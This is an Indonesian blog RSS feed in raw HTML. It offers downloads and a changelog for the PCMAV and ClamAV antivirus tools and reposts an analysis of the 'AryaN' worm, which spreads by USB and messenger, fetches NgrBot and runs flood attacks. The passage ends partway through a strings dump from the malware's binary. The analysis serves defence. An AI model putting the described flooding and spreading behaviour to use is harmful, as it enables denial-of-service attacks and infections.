b. libclamunrar.dll<br /> &nbsp;&nbsp;&nbsp; c. libclamunrar_iface.dll<br /> 4. copy/cut file tersebut kemudian buka folder PCMAV lalu pindahkan ke folder plugins/clamav<br /> <br /> Silahkan Download CLAMAV 0.97.2 Plugins PCMAV<span style="font-size: small;"> melalui Link dibawah ini...</span><br /> <div style="text-align: left;"> <span style="font-size: large;"><a href="http://ekodomba.blogspot.com/2011/02/clamav-097.html"><br /> </a></span></div> <div style="text-align: left;"> <div style="text-align: center;"> <span style="font-size: large;"><br /> <b><span style="font-size: large;">&gt;&gt;&gt; Selamat Mencoba &lt;&lt;&lt; </span></b><br /> <br /> <br /> </span><br /> <div style="text-align: left;"> <b><span style="font-size: large;"><span style="font-size: small;">Download Link : </span></span></b></div> <div style="text-align: left;"> <b><span style="font-size: large;"><span style="font-size: small;"><a href="http://ekodomba.blogspot.com/2011/02/clamav-097.html"> </a></span><span style="font-size: small;"> <span style="color: #cc0000;"><span style="color: #cc0000;">Download Clamav 0.97.2</span></span><span style="color: #cc0000;"> </span><span style="color: #cc0000;">:</span> </span></span></b></div> <div style="text-align: left;"> <a href="http://www.indowebster.com/clamav_win32_0_97_2.html"><span style="font-size: small;"><b>Clamav 0.97.2</b></span></a><b style="color: black;"><span style="font-size: large;"><span style="font-size: small;"> </span></span></b><b><span style="font-size: large;"><span style="font-size: small;">(idws)</span></span></b><br /> <br /> <b><span style="font-size: large;"><span style="font-size: small;"> </span></span></b><span style="font-weight: bold;">Alternative Link :</span><br /> <a href="http://www.4shared.com/file/i0TVY-kF/clamav-win32-0972.html"><span style="font-size: small;"><b>Clamav 0.97.2</b></span></a><b style="color: black;"><span style="font-size: large;"><span style="font-size: small;"> </span></span></b><b><span style="font-size: large;"><span style="font-size: small;">(4shared)</span></span></b><br /> <span style="color: black;"> </span><a href="http://www.ziddu.com/download/17166672/clamav-win32-0.97.2.rar.html"><span style="font-size: small;"><b>Clamav 0.97.2</b></span></a><b style="color: black;"><span style="font-size: large;"><span style="font-size: small;"> </span></span></b><b><span style="font-size: large;"><span style="font-size: small;">(ziddu)</span></span></b><br /> <span style="color: black;">&nbsp; </span><b style="color: black;"><span style="font-size: large;"><span style="font-size: small;"> </span></span></b></div> <div style="text-align: left;"> <b><span style="font-size: large;"><span style="font-size: small;"><span style="font-weight: bold;"><span style="font-weight: bold;"><br /> </span><span style="font-weight: bold;"></span></span></span></span></b></div> </div> <div class="main"> <span style="font-size: large;"><span style="font-size: small;"><span style="font-weight: bold;"> </span></span></span></div> </div></description><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEinNaZkJDm0mHf3pvScIQdyJfCKPrQwZ_ON2AwsIcH7-V6CtWwAkQkYXj9y-PhS-z85T7WBSNmu19hX3zG9jzqMYO-viJo0VkvNps9nNnSDNd-9A6XFF_HKYGzKf9aaAbgE2E2CB1rKOpmB/s72-c/img2.JPG" width="72"/><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title/><link>http://ekodomba.blogspot.com/2011/11/pcmav-60.html</link><category>Anti Virus</category><category>PCMAV</category><author>noreply@blogger.com (Unknown)</author><pubDate>Fri, 4 Nov 2011 12:24:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-887853086853221447.post-2081598618861011126</guid><description><div class="MsoNormal" style="line-height: normal; text-align: center;"> <a href="http://ekodomba.blogspot.com/2011/11/pcmav-60.html"><span style="font-size: large;"><b><span style="font-weight: bold;">PCMAV 6.0 Asgard</span></b></span></a></div> <br /> <br /> <div style="text-align: justify;"> Download PCMAV 6.0 Asgard telah disediakan bersamaan dengan peluncuran Majalah PC Media 10/2011 &amp; PCMAV 6.0 Asgard yang sudah lama dinanti pembaca setia PC Media tentunya. Kali ini PCMAV 6.0 Asgard telah dilengkapi dengan penambahan database pengenal dan pembersih 120 virus lokal/asing/varian baru yang banyak menyebar di Indonesia. Total database pada PCMAV 6.0 Asgard sebanyak Total 4.711 virus beserta variannya.</div> <div style="text-align: justify;"> <br /></div> <div style="text-align: justify;"> Seperti biasa, kami mengingatkan kepada Anda untuk membaca terlebih dahulu README.txt yang disertakan bersama PCMAV 6.0 Asgard sebelum menggunakannya.</div> <a name='more'></a><br /> <div style="color: red;"> <b>Bagaimana cara mendapatkan dan menggunakan PCMAV 6.0 Asgard ?</b></div> <br /> Salin paket PCMAV 6.0 Asgard dari PC Media Edisi 10/2011 ke dalam harddisk sehingga Anda mendapatkan PCMAV 6.0 Asgard yang siap digunakan.<br /> <br /> Bagi Anda yang berada di wilayah tak terjangkau distribusi majalah PC Media atau karena suatu hal tidak dapat menggunakan paket PCMAV yang disertakan dalam DVD PC Media namun anda sangat membutuhkannya, silahkan <b>download PCMAV 6.0 Asgard</b> dari link dibawah artikel ini.<br /> <div style="text-align: justify;"> <br /></div> <b>APA YANG BARU ?/CHANGE-LOG</b><br /> <ol style="text-align: justify;" type="1"> <li>Extensions Manager: penambahan extension sehingga total tersedia 9 extension siap pakai, yaitu:</li> <ul type="a"> <li>Attribute Fixer: menormalkan kembali attribut file/folder yang diubah oleh virus menjadi hidden/system/read only.</li> <li>Autorun Disabler: menonaktifkan fungsi Autorun pada drive tertentu atau semua drive sehingga mencegah penularan virus melalui manipulasi autorun.</li> <li>Autorun Remover: menghapus file autorun yang ditemui pada drive system maupun USB.</li> <li>Delete On Reboot: menghapus file yang dipilih pada reboot selanjutnya, berguna untuk menghapus file yang diproteksi oleh process tertentu sehingga tidak dapat dihapus.</li> <li>Duplicate Files Finder: mencari file yang sama berdasarkan karakteristik tertentu sesuai dengan metode deteksi yang dipilih.</li> <li>Registry Fixer: memperbaiki registry Windows yang sering dimanipulasi oleh virus.</li> <li>Secure Delete: menghapus file dengan aman sehingga tidak dapat di-recover/undelete.</li> <li>Task Manager: menampilkan process yang sedang aktif di memory dan menghentikannya jika diperlukan.</li> <li>&nbsp;TCP Viewer: menampilkan koneksi TCP sehingga dapat memantau process mencurigakan seperti virus yang diam-diam menggunakan koneksi Internet.</li> </ul> <li>Virus Submit: Mengarahkan browser ke website yang telah disediakan khusus untuk upload file virus atau file mencurigakan agar dapat dianalisa oleh tim PCMAV.</li> <li>Mendukung pengiriman data statistik ke server sebagai backbone untuk pengembangan PCMAV lebih lanjut. Data yang dikirim *tidak* bersifat personal/confidential.</li> <li>ADDED! Removal engine khusus untuk membersihkan secara tuntas trojan NgrBot yang menyebar luas di Indonesia.</li> <li>FIXED! Perbaikan RTP yang mengganggu kinerja sistem pada komputer tertentu.</li> <li>IMPROVED! Fitur LinkProtector yang tidak lagi bentrok dengan antivirus luar seperti AVG dan ESS.</li> <li>IMPROVED! Ditambahkan notifikasi berupa baloon tips pada tray icon setelah memblok koneksi yang menuju link berbahaya.</li> <li>UPDATED! Ditambahkan database pengenal dan pembersih 120 virus lokal/asing/varian baru yang dilaporkan menyebar di Indonesia. Total 4711 virus beserta variannya.</li> <li>IMPROVED! Perubahan nama virus mengikuti varian baru yang ditemukan.</li> <li>IMPROVED! Perbaikan beberapa minor bug dan improvisasi kode internal untuk memastikan bahwa PCMAV tetap menjadi antivirus kebanggaan Indonesia.</li> </ol> <br /> (Keterangan Lengkap Lihat Gambar Di Bawah) .........<br /> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: left; width: 450px;"> <div class="separator" style="clear: both; text-align: center;"> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjAuP4nGGvt7jfxr59OzGojIS_TP0bjLSDlQxTHB7uPXefUj3Cp_vWv1MQHKzqHn-l-iUKa1gz4yMDQEEY9wGSPLDygmgE9HyQguOnkJd8bzRBYg0rW6OE7k_y0XeFxXoz4WXfq9KBVDCZ/s1600/1a.JPG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjAuP4nGGvt7jfxr59OzGojIS_TP0bjLSDlQxTHB7uPXefUj3Cp_vWv1MQHKzqHn-l-iUKa1gz4yMDQEEY9wGSPLDygmgE9HyQguOnkJd8bzRBYg0rW6OE7k_y0XeFxXoz4WXfq9KBVDCZ/s1600/1a.JPG" /></a></div> <br /> <a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggJ4Bc4SK1lp9TyvWATfIstKFveWWN6L5e0v-iqP4NRDdg3vAdnjeN_sDciRPjWjLNQu6PNOqzN2w7hCXbSbr0fusiXXc8X_vMgl5d9apXwblJsJR1hCfqVnp2nD8lslVKBpwdpMPfAeTm/s1600/2a.JPG" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggJ4Bc4SK1lp9TyvWATfIstKFveWWN6L5e0v-iqP4NRDdg3vAdnjeN_sDciRPjWjLNQu6PNOqzN2w7hCXbSbr0fusiXXc8X_vMgl5d9apXwblJsJR1hCfqVnp2nD8lslVKBpwdpMPfAeTm/s1600/2a.JPG" /></a></div> <br /> <br /> <br /> <div style="text-align: center;"> <span style="font-size: 180%; font-weight: bold;">&gt;&gt;&gt; Selamat Mencoba &lt;&lt;&lt;</span> <br /> <div style="text-align: left;"> <br /></div> </div> <span style="color: #ff6666; font-weight: bold;">Note (Penting) :</span> <br /> <ol> <li><span style="color: #ff6666; font-weight: bold;">Setelah&nbsp; Download PCMAV 6.0 Asgard extraks terlebih dahulu kemudian copy/cut seluruh </span><b>Isi Yang Terdapat Dalam Folder</b><span style="color: lime; font-size: small;"> </span><span style="color: #ff6666; font-weight: bold;">ekstrakan tersebut kedalam folder PCMAV sebelumnya (PCMAV 5.5 Valhalla), jika belum memiliki </span><span style="color: #ff6666; font-weight: bold;">PCMAV 5.5 Valhalla silahkan Download disini </span><b><a href="http://ekodomba.blogspot.com/2011/09/pcmav-55.html">PCMAV 5.5 Valhalla</a></b></li> <li><span style="color: #ff6666; font-weight: bold;">no.2 (</span><span style="color: #cc0000; font-weight: bold;">Hanya update (.vdb) Build1)</span><span style="color: #ff6666; font-weight: bold;"><span style="color: #cc0000;"> </span>di Extract dahulu setelah itu dimasukan dalam folder </span><span style="color: #ff6666; font-weight: bold;">PCMAV 6.0 Asgard</span><span style="color: #ff6666; font-weight: bold;">/vdb</span></li> </ol> <br /> <br /> <div style="color: red;"> <span style="font-size: large;"><b><i>Download Here</i></b></span></div> <br /> <b style="color: #cc0000; font-weight: bold;">1. Hanya Download PCMAV <span style="color: #cc0000;">6.0 Asgard </span></b><span style="font-weight: bold;"><span style="color: #cc0000;">:</span></span> <br /> <div class="main"> <span style="font-weight: bold;"> </span><span style="font-weight: bold;"><a href="http://www.sendspace.com/file/ohx4p6">PCMAV 6.0 Asgard</a> (sendspace)</span><br /> <br /> <span style="font-weight: bold;">Alternative Link :</span><br /> <a href="http://www.4shared.com/file/01ZJfe4Z/PCMAV_60_Asgard__ekodombablogs.html"><b>PCMAV 6.0 Asgard</b></a><b> (4shared)</b> <br /> <a href="http://www.ziddu.com/download/17166465/PCMAV6.0Asgardekodomba.blogspot.rar.html"><b>PCMAV 6.0 Asgard</b></a><b> (ziddu)</b> <br /> <br /> <br /> <span style="color: #cc0000; font-weight: bold;">2. </span><span style="color: #cc0000; font-weight: bold;">Hanya Download update (.vdb) Build1 :</span> <br /> <span style="font-weight: bold;"> </span><span style="color: black;"><span style="font-size: 100%;"><b>Update Build 1 (Menyusul)</b></span><span style="font-weight: bold;"> </span><span style="font-weight: bold;">(sendspace)</span></span><span style="color: black; font-weight: bold;"><br /> </span><br /> <div style="color: black;"> <span style="font-weight: bold;">Alternative Link :</span></div> <div style="color: black;"> <span style="font-size: 100%;"><b>Update Build 1 </b></span><span style="font-size: 100%;"><b>(</b></span><span style="font-size: 100%;"><b>Menyusul</b></span><span style="font-size: 100%;"><b>) (4shared)</b></span></div> <div style="color: black;"> <span style="font-size: 100%;"><b>Update Build 1 </b></span><span style="font-size: 100%;"><b>(</b></span><span style="font-size: 100%;"><b>Menyusul</b></span><span style="font-size: 100%;"><b>) (ziddu)</b></span></div> <br /> <br /></div></description><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" height="72" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjAuP4nGGvt7jfxr59OzGojIS_TP0bjLSDlQxTHB7uPXefUj3Cp_vWv1MQHKzqHn-l-iUKa1gz4yMDQEEY9wGSPLDygmgE9HyQguOnkJd8bzRBYg0rW6OE7k_y0XeFxXoz4WXfq9KBVDCZ/s72-c/1a.JPG" width="72"/><thr:total xmlns:thr="http://purl.org/syndication/thread/1.0">0</thr:total></item><item><title/><link>http://ekodomba.blogspot.com/2011/11/build-4.html</link><category>Anti Virus</category><category>PCMAV</category><author>noreply@blogger.com (Unknown)</author><pubDate>Fri, 4 Nov 2011 11:44:00 +0700</pubDate><guid isPermaLink="false">tag:blogger.com,1999:blog-887853086853221447.post-5923300407186245988</guid><description><div style="text-align: center;"> <a href="http://ekodomba.blogspot.com/2011/11/build-4.html"><b><span style="font-size: large;"><span style="font-weight: bold;">PCMAV 5.5 Valhalla + Build4</span>&nbsp;</span></b></a></div> <div style="text-align: center;"> <a href="http://virusindonesia.com/2011/10/16/aryantrojan-with-flooding-attack/"><b><span style="font-size: large;">AryaN:Trojan with Flooding Attack</span></b></a></div> <div style="text-align: left;"> <br /></div> <div style="text-align: left;"> <br /></div> <div style="text-align: left;"> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 220px; overflow: auto; text-align: left; width: 450px;"> <img alt="" src="http://virusindonesia.com/wp-content/uploads/2011/10/aryan/1.flooding.png" /></div> <br /></div> <div style="text-align: left;"> <b>AryaN</b>. Flooding dalam istilah IT adalah membebani sebuah server dengan cara mengirim paket yang besar secara terus menerus (DDoS / Denial of Service Attacks). AryaN bukan hanya menyebar melalui flash disk dengan shortcut tipe barunya, akan tetapi mendownload varian NgrBot dan melakukan Flooding Attack. Tentu saja, trojan akan berusaha agar aksi ini tidak disadari oleh user yang komputernya terinfeksi. Maka dari itu, trojan pun bersembunyi dibalik proses lain sambil melancarkan serangannya.<br /> <span id="more-2092"></span></div> <a name='more'></a><br /> <b>A. Info File</b><br /> <div style="text-align: left;"> <br /> <img alt="" src="http://virusindonesia.com/wp-content/uploads/2011/10/aryan/2.icon.png" /></div> <div style="text-align: left;"> Nama Worm : AryaN<br /> Asal : ~<br /> Ukuran File : 95.5 KB (97,792 bytes)<br /> Packer : ~<br /> Pemrograman : C++<br /> Icon : Exe / Application<br /> Tipe : Trojan, Worm</div> <div style="text-align: left;"> <br /></div> <div style="text-align: left;"> </div> <div style="text-align: left;"> <b>B. About Malware</b></div> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: left; width: 450px;"> <img alt="" src="http://virusindonesia.com/wp-content/uploads/2011/10/aryan/3.ym.png" /></div> <br /> Gambar di atas adalah simulasi kejadian secara umum AryaN menyebar juga melalui yahoo messenger. Awalnya kami mendapat laporan dari forum virus Indonesia mengenai adanya malware yang menyebar lewat Facebook. Setelah kami cek, sekilas seperti variant NgrBot. Terlebih lagi setelah di jalankan, memang mendownload variant baru dari NgrBot. Kemudian ada lagi laporan mengenai malware yang sama dengan pola yang sama juga. Setelah di cek ulang, rupanya ini bukanlah variant atau companion dari NgrBot, melaikan worm yang dikhususkan untuk melakukan sebuah tugas tertentu.<br /> <div style="text-align: left;"> <br /></div> <div style="text-align: left;"> </div> <div style="text-align: left;"> <b>1. </b>Mendownload companion dan dijalankan bersamaan dengan hostnya<br /> <b>2. </b>Mendownload Variant NgrBot<br /> <b>3. </b>Melakukan DDoS terhadap salah satu website dengan metode <a href="http://id.wikipedia.org/wiki/SYN_flooding_attack">SYN flooding attack</a>.</div> <div style="text-align: left;"> </div> <div style="text-align: left;"> <br /></div> <div style="text-align: left;"> Nama “AryaN” di ambil dari salah satu baris yang terdapat pada threads yang dibuatnya.</div> <div style="text-align: left;"> <br /></div> <div style="text-align: left;"> </div> <div style="text-align: left;"> <b><i>Successfully Replaced AryaN File With Newly Download File, Update Will Take Affect On Next Reboot</i></b></div> <div style="text-align: left;"> <br /></div> <div style="text-align: left;"> </div> <div style="text-align: left;"> Dalam tubuh AryaN tidak terdapat string yang bisa menunjukan apa saja yang akan dilakukannya. Akan tetapi berbeda jika kita melihat string yang terdapat pada threadsnya. Berikut ini adalah hasil dump yang kami dapatkan.<span style="font-size: small;">&nbsp;</span></div> <div style="text-align: left;"> <br /> <div style="border: 1px solid rgb(153, 153, 153); height: 350px; overflow: auto; text-align: left; width: 450px;"> <table border="0" cellpadding="0" cellspacing="0"><tbody> <tr><td class="gutter" style="font-family: inherit; text-align: left;"><ol> <li><span style="font-size: small;"><code class="plain plain">File pos&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Mem pos&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ID&nbsp;&nbsp; Text</code></span></li> <li><span style="font-size: small;"><code class="plain plain">========&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; =======&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ==&nbsp;&nbsp; ====</code></span></li> <li><span style="font-size: small;"><code class="plain spaces">&nbsp;&nbsp;&nbsp;&nbsp;</code>&nbsp;</span></li> <li><span style="font-size: small;"><code class="plain plain">00000000004D&nbsp;&nbsp; 000002DA004D&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; !This program cannot be run in DOS mode.</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000001C8&nbsp;&nbsp; 000002DA01C8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; .data</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000001F0&nbsp;&nbsp; 000002DA01F0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; .idata</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000000218&nbsp;&nbsp; 000002DA0218&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; .rsrc</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000023F&nbsp;&nbsp; 000002DA023F&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; @.reloc</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001368&nbsp;&nbsp; 000002DA1F68&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Botkiller</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001374&nbsp;&nbsp; 000002DA1F74&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Successfully Killed And Removed Malicious File: "%s"</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001400&nbsp;&nbsp; 000002DA2000&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Usage: %s IP PORT DELAY LENGTH</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001428&nbsp;&nbsp; 000002DA2028&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Failed To Start Thread: "%d"</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000144C&nbsp;&nbsp; 000002DA204C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Failed: Mis Parameter</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001468&nbsp;&nbsp; 000002DA2068&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; WinINet</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001474&nbsp;&nbsp; 000002DA2074&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Failed: "%d"</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001484&nbsp;&nbsp; 000002DA2084&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Visit</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000148C&nbsp;&nbsp; 000002DA208C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Failed: Mis Parameter, Usage: %s [SHOW/HIDE] [URL]</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000014D4&nbsp;&nbsp; 000002DA20D4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Filed To Visit: "%s"</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000014F0&nbsp;&nbsp; 000002DA20F0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Successfully Visited: "%s"</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001520&nbsp;&nbsp; 000002DA2120&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; %s #%s</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000152C&nbsp;&nbsp; 000002DA212C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; %s %s</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001540&nbsp;&nbsp; 000002DA2140&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Terminated WGet Thread</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001564&nbsp;&nbsp; 000002DA2164&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Running From: "%s"</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000157C&nbsp;&nbsp; 000002DA217C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; [%s][%s] - "%s"</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001590&nbsp;&nbsp; 000002DA2190&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; hh':'mm':'ss</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000015E8&nbsp;&nbsp; 000002DA21E8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; {%s}: %s</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001618&nbsp;&nbsp; 000002DA2218&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Update Complete, Uninstalling</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000163C&nbsp;&nbsp; 000002DA223C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Successfully Executed Process: "%s"</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001668&nbsp;&nbsp; 000002DA2268&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Failed To Create Process: "%s", Reason: "%d"</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000016A0&nbsp;&nbsp; 000002DA22A0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Successfully Replaced AryaN File With Newly Download File, Update Will Take Affect On Next Reboot</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001748&nbsp;&nbsp; 000002DA2348&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Successfully Downloaded File To: "%s"</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001778&nbsp;&nbsp; 000002DA2378&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Downloading File: "%s"</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001794&nbsp;&nbsp; 000002DA2394&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Download</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001840&nbsp;&nbsp; 000002DA2440&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; IsWow64Process</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001884&nbsp;&nbsp; 000002DA2484&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; http://api.wipmania.com/</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000001FD4&nbsp;&nbsp; 000002DA2BD4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; PRIVMSG</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000205C&nbsp;&nbsp; 000002DA2C5C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Config</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000002064&nbsp;&nbsp; 000002DA2C64&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Failed to load config</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000212C&nbsp;&nbsp; 000002DA2D2C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; AryaN{%s-%s-x%d}%s</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000002144&nbsp;&nbsp; 000002DA2D44&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; New{%s-%s-x%d}%s</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000002158&nbsp;&nbsp; 000002DA2D58&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; %s "" "%s" :%s</code></span></li> <li><span style="font-size: small;"><code class="plain plain">00000000216C&nbsp;&nbsp; 000002DA2D6C&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; %s %s</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000002174&nbsp;&nbsp; 000002DA2D74&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; %s %s :[AryaN]: %s</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000002190&nbsp;&nbsp; 000002DA2D90&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; %s %s %s</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000021A4&nbsp;&nbsp; 000002DA2DA4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Finished Flooding "%s:%d"</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000021C4&nbsp;&nbsp; 000002DA2DC4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Terminated UDP Flood Thread</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000021E8&nbsp;&nbsp; 000002DA2DE8&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; %d%d%d%d%d%d%d%d</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000002200&nbsp;&nbsp; 000002DA2E00&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; Flooding: "%s:%d", Delay: "%d(ms)", For "%d" Seconds</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000023A4&nbsp;&nbsp; 000002DA2FA4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; LNK Infected Removable Device: "%s\", Created: "%d" Lnk Files</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000025B4&nbsp;&nbsp; 000002DA31B4&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; AutoRun Infected Removable Device: "%s\"</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000002857&nbsp;&nbsp; 000002DA3457&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 4 RAS_e</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000002877&nbsp;&nbsp; 000002DA3477&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 4 RAS</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000002AC9&nbsp;&nbsp; 000002DA36C9&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; z)ze'</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000002D7D&nbsp;&nbsp; 000002DA397D&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; /4*&amp;{</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000002D9D&nbsp;&nbsp; 000002DA399D&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; O(hHj</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000003BBB&nbsp;&nbsp; 000002DA47BB&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; OWShX</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000003E13&nbsp;&nbsp; 000002DA4A13&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; D$0Pht</code></span></li> <li><span style="font-size: small;"><code class="plain plain">0000000044DA&nbsp;&nbsp; 000002DA50DA&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; SSPhZ</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000004BB9&nbsp;&nbsp; 000002DA57B9&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; j[YPSSh</code></span></li> <li><span style="font-size: small;"><code class="plain plain">000000004C26&nbsp;&nbsp; 000002DA5826&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 0&nbsp;&nbsp; 